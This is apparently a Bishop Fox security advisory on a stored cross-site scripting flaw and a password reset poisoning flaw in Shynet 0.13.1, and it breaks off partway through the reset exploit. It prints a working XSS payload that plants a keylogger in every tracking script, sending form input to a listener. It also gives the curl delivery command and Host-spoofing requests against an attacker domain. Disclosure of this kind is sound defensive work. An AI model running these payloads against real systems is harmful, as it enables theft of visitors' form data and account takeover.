The following document describes identified vulnerabilities in the Shynet application version 0.13.1.
Product Vendor
milesmcc
Product Description
Shynet is a web analytics platform that captures and displays standard tracking data. Shynet had approximately 3,100 GitHub stars, 206 forks, and 39 contributors which has made it a popular tool for self-hosted analytics. The project’s official repository is https://github.com/milesmcc/shynet The latest version of the application is 0.14.0, released on March 15, 2026.
Vulnerabilities List
Two vulnerabilities were identified within the Shynet application:
- Stored Cross-Site Scripting
- Insecure Input Validation – Password Reset Feature
Affected Version
Version 0.13.1
Summary of Findings
Bishop Fox staff identified two vulnerabilities in milesmcc Shynet 0.13.1. The most severe issue was an unauthenticated stored cross-site scripting vulnerability that Bishop Fox staff used to add malicious JavaScript to all of the analytics tracking scripts in an example instance of Shynet. Additionally, Bishop Fox staff found a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value.
Impact
The unauthenticated stored cross-site scripting vulnerability was leveraged to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance. Additionally, the password reset poisoning vulnerability was leveraged to obtain a valid cryptographic reset token if the victim clicks the link, resulting in an account takeover.
Solution
Update to version 0.14.0
Timeline
- 02/17/2026: Initial discovery
- 03/15/2026: Contact with vendor
- 03/15/2026: Vendor acknowledged vulnerabilities
- 03/15/2026: Vendor released patched version 0.14.0
- 06/18/2026: Vulnerabilities publicly disclosed
Credits
- Christopher Michell, Senior Security Consultant I, Bishop Fox ([email protected])
- Christopher Stover, Senior Security Consultant I, Bishop Fox ([email protected])
Shynet Version 0.13.1 — Vulnerabilities
Stored Cross-Site Scripting
The Shynet application was affected by two unauthenticated stored cross-site scripting (XSS) vulnerabilities. The location and referrer fields in analytics requests sent to Shynet’s tracking endpoint were stored verbatim in the database and later rendered without escaping each time an administrator viewed the affected service’s dashboard or locations page. The vulnerabilities could be exploited without authentication and used to perform a session-riding attack against administrators to add malicious JavaScript to all tracking scripts.
Vulnerability Details
CVE ID: CVE-2026-35508
Vulnerability Type: Cross-site scripting (XSS)
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☐ Information disclosure, ☒ Other (if other, please specify) – Modification of all tracking scripts across all Shynet services in the affected instance
Security Risk: ☒ Critical, ☐ High, ☐ Medium, ☐ Low
Vulnerability: CWE-79
Bishop Fox staff determined that Shynet was vulnerable to unauthenticated stored cross-site scripting and exploited the vulnerability to add malicious JavaScript to all tracking scripts.
Shynet's tracking ingress endpoint at /ingress/
accepted HTTP POST
requests with JSON bodies from any origin without authentication. The request body contained fields that were stored in the database and later rendered in the administrative dashboard. Bishop Fox staff found that unauthenticated users could provide a malicious location or referrer
value that executed JavaScript in the context of the viewing user's session.
A typical Shynet tracking POST request contained four values, as demonstrated in the following figure:
POST /ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js HTTP/1.1 …omitted for brevity… {"idempotency":"cw91t9y6pntpe9al7ngt2","referrer":"http://tracked.com/refer.html","location":"http://tracked.com/","loadTime":75}
FIGURE 1 - POST request generated by Shynet’s script.js
analytics script
The location and referrer
fields were then displayed in the service dashboard:
FIGURE 2 - Unique location and referrer
values rendered at /dashboard/services/
Additionally, the location
value was also displayed on the Locations page:
FIGURE 3 - Unique location
values rendered in dashboard
Bishop Fox staff set up a test environment that locally resolved the Shynet instance to example.com
, then created a simulated shopping application that resolved locally to tracked.com
. Bishop Fox staff then created a Shynet service named tracked.com
, with UUID b0bd732a-0a76-4904-8b84-13d31f1786c1
, and added the following HTML to the mock checkout page for tracked.com
:
FIGURE 4 - Loading the analytics script on the tracked.com
mock checkout page
Bishop Fox staff demonstrated the issue by crafting a stored XSS payload that enumerated all Shynet service UUIDs, then injected a keylogger into every tracking script that sent form input from all tracked pages to a listener at http://127.0.0.1:9999
, simulating a malicious server on the internet. To begin this process, Bishop Fox staff created a file named payload.json
with the following content:
{ "idempotency": "keylogger_chain_001", "location": "http://x' onfocus='fetch(`/dashboard/`).then(r=>r.text()).then(h=>{var d=new DOMParser().parseFromString(h,`text/html`);[...d.querySelectorAll(`a[href*=service]`)].filter(a=>a.href.match(/\\/service\\/[0-9a-f-]{36}\\/$/)).map(a=>a.href.match(/([0-9a-f-]{36})/)[1]).forEach(u=>{fetch(`/dashboard/service/`+u+`/manage/`).then(r=>r.text()).then(h2=>{var d2=new DOMParser().parseFromString(h2,`text/html`),f=new FormData(d2.querySelector(`form`));f.set(`script_inject`,`document.addEventListener(\"change\",function(e){var t=e.target;if(t.name&&t.value){new Image().src=\"http://127.0.0.1:9999/log?field=\"+t.name+\"&value=\"+encodeURIComponent(t.value)+\"&url=\"+encodeURIComponent(location.href)}})`);fetch(`/dashboard/service/`+u+`/manage/`,{method:`POST`,body:f,credentials:`same-origin`})})})})' autofocus=' tabindex='1", "referrer": "http://tracked.com/refer.html" "loadTime": 150 }
FIGURE 5 - JSON body with XSS payload in the location
field
Next, Bishop Fox staff sent the malicious analytics request with the following command:
curl -X POST "http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js" -H "Content-Type: application/json" -d @payload.json
FIGURE 6 - Sending malicious tracking request
XSS payloads submitted in the location
field would execute on the following pages:
/dashboard/services/
/dashboard/services/
XSS payloads submitted in the referrer
field would execute on the following page:
/dashboard/services/
Bishop Fox staff browsed to /dashboard/services/
as an authenticated administrator to trigger the first stage of the XSS payload. To demonstrate that the first stage had implanted the second stage as intended, staff browsed to /dashboard/services/
. The JavaScript keylogger that sent user-submitted form data to a separate listener was present in the Additional injected JS field, as shown in the following screenshot:
FIGURE 7 - Malicious JavaScript added to analytics script configuration
The example code shown earlier in this finding enumerated all Shynet services and added the same keylogger payload to every tracking script.
To demonstrate the impact of the modified tracking script, Bishop Fox staff simulated a malicious server on the internet by starting a local listener with the following command:
python3 -m http.server 9999 2>&1 | grep --line-buffered "field=" | sed 's/.*field=/field=/;s/ HTTP.*//'
FIGURE 8 - One-liner to start the listener on port 9999 and filter out irrelevant data
Next, Bishop Fox staff browsed to http://tracked.com/
. The following screenshot shows a simulated checkout page that silently loaded the modified malicious script:
FIGURE 9 - Simulated tracked.com checkout page
After filling out all form fields on http://example.com
, Bishop Fox staff viewed the data sent to the listener:
FIGURE 10 - Listener capturing form input from simulated checkout page
This proof of concept demonstrated how an attacker might leverage the unauthenticated stored XSS vulnerability in Shynet to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance.
Insecure Input Validation – Password Reset Feature
The Shynet application was affected by a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value. The vulnerability could be exploited without authentication and used to craft a malicious password reset URL that would transmit the password reset token to the attacker when the victim clicked the link.
Vulnerability Details
CVE ID: CVE-2026-35507
Vulnerability Type:
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☒ Other (if other, please specify) Insecure Input Validation
Security Risk: ☐ Critical, ☒ High, ☐ Medium, ☐ Low
Vulnerability: CWE-644
Bishop Fox staff determined that the Shynet password reset process used insecure business logic to handle the HTTP Host header. An attacker exploiting this vulnerability could cause a Shynet instance to send a password-reset email to an existing user that would provide the user’s password-reset token to the attacker if the user clicked on the link in the email or software automatically loaded the link.
Shynet used the django-allauth
application for authentication, which constructed password reset URLs using Django's request.get_host
method. Because Shynet was distributed with a default ALLOWED_HOSTS = *
configuration (on line 41 of the file shynet/settings.py
), Django did not validate the incoming Host header, allowing any value to pass through and be embedded into the password reset email.
The password reset email template in the file dashboard/templates/account/email/password_reset_key_message.txt
operated inside an {% autoescape off %}
block and referenced the value returned by the request.get_host
function. The {{ password_reset_url }}
variable was built by the django-allauth
application using the request's Host
header value to form the full URL, including the real verification token.
Shynet's default configuration used Django's console email backend (django.core.mail.backends.console.EmailBackend
), which printed outgoing emails to the application's standard output rather than delivering them over SMTP. This was the default behavior when the EMAIL_HOST
environment variable was not configured. In this default state, password reset emails were only visible in the container logs and are never actually sent to a recipient's email address, meaning the resulting email could not reach the intended recipient. However, a Shynet deployment configured to use an SMTP server (by setting the EMAIL_HOST
, EMAIL_PORT
, and related variables) would deliver the malicious email to the recipient’s email address, making the attack fully exploitable. The TEMPLATE.env
file included commented-out placeholders for these SMTP settings, indicating that production Shynet instances were likely to have email delivery enabled.
To exploit this vulnerability, an attacker must first obtain a valid CSRF token cookie and CSRF middleware token value from the vulnerable Shynet instance by issuing an HTTP GET request to the password reset form with a spoofed Host header. Because Shynet was distributed with Django’s ALLOWED_HOSTS
option set to *, Django will issue the necessary anti-CSRF values associated with the attacker's domain.
Bishop Fox staff obtained the necessary anti-CSRF values by connecting to the IP address of the Shynet instance and specified the DNS name of their own server (cstover-attacker.com
). For example, if the IP address of the Shynet instance were 10.25.31.37
, this step could be performed using the following curl
command:
curl http://cstover-attacker.com/accounts/password/reset/ \ --resolve cstover-attacker.com:10.25.31.37
The following request/response pair shows the result of requesting the anti-CSRF values:
Request
GET /accounts/password/reset/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Host: cstover-attacker.com Connection: keep-alive
Response
HTTP/1.1 200 OK Server: nginx/1.29.5 Date: Fri, 20 Feb 2026 16:23:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4202 Connection: keep-alive X-Frame-Options: DENY Vary: Cookie, Origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Set-Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm; expires=Fri, 19 Feb 2027 16:23:17 GMT; Max-Age=31449600; Path=/; SameSite=Lax …omitted for brevity…
